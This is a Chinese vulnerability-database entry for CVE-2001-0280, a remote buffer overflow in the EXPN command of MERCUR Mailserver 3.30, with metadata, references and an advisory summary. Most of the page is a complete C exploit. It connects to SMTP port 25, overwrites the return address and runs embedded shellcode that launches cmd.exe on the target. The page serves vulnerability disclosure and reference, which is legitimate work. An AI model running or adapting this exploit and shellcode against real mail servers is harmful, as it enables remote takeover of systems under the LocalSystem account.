MERCUR SMTP服务器缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1106227 漏洞类型 缓冲区溢出
发布时间 2001-02-23 更新时间 2005-05-02
CVE编号 CVE-2001-0280 CNNVD-ID CNNVD-200105-006
漏洞平台 Windows CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/20647
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200105-006
|漏洞详情
MERCURSMTP服务器3.30存在缓冲区溢出漏洞。远程攻击者可以借助超长EXPN命令执行任意命令。
|漏洞EXP
source: http://www.securityfocus.com/bid/2412/info

Atrium Software Mercur Mail Server 3.3 contains an unchecked buffer for the EXPN command which may lead to a denial of service attack or execution of arbitrary code depending on the data entered.

If a remote attacker were to telnet to the SMTP server and enter an overly long string of random characters following the EXPN command, the remote target would crash. The execution of arbitrary code is possible if a carefully crafted string that overwrote the EIP was entered into the buffer. The attacker would be able to perform virtually any action on the remote system under the context of the LocalSystem account. 

/*
 MERCUR Mailserver 3.3 Remote Buffer Overflow
 Tested on Win2K AS SP1 with MERCUR SMTP-
Server v3.30.03
 Martin Rakhmanoff
 martin@direct.spb.ru
*/

#include <winsock2.h>
#include <stdio.h>

/* \x63\x6D\x64\x2E\x65\x78\x65 - simply 'cmd.exe' */
char shellcode[] =
 "\x8B\xC4\x83\xC0\x17\x50\xB8\x0E\xB5\xE9\x77
\xFF\xD0\x33\xDB\x53"
 "\xB8\x2D\xF3\xE8\x77\xFF\xD0\x63\x6D\x64
\x2E\x65\x78\x65\x0D\x0A";
/*
In SoftICE bpx 001b:00418b65 - here eip is restored
with overwritten
value...
*/

int main(int argc, char * argv[]){

 int i;
 char sploit[512];
 char buffer[512];

 WSADATA wsaData;
 SOCKET  sock;
 struct sockaddr_in server;
 struct hostent *hp;

 WSAStartup(0x202,&wsaData);
 hp = gethostbyname("arena");
 memset(&server,0,sizeof(server));
 memcpy(&(server.sin_addr),hp->h_addr,hp-
>h_length);
 server.sin_family = hp->h_addrtype;
 server.sin_port = htons(25);
 sock = socket(AF_INET,SOCK_STREAM,0);
 connect(sock,(struct sockaddr*)&server,sizeof
(server));

 sploit[0]='E';
 sploit[1]='X';
 sploit[2]='P';
 sploit[3]='N';
 sploit[4]=0x20;


 for(i=5;i<137;i++){
  sploit[i]=0x41;
 }

 // Return address
 //77E87D8B

 sploit[137]=0x8B;
 sploit[138]=0x89;
 sploit[139]=0xE8;
 sploit[140]=0x77;

 for(i=0;i<sizeof(shellcode);i++){
  sploit[i+141]=shellcode[i];
 }

 recv(sock,buffer,512,0);

 send(sock,sploit,173,0);

 closesocket(sock);
 WSACleanup();

 return 0;
}
|参考资料

来源:BUGTRAQ
名称:20010223MercurMailserver3.3bufferoverflowwithEXPN
链接:http://archives.neohapsis.com/archives/bugtraq/2001-02/0413.html
来源:XF
名称:mercur-expn-bo(6149)
链接:http://xforce.iss.net/static/6149.php
来源:OSVDB
名称:6027
链接:http://www.osvdb.org/6027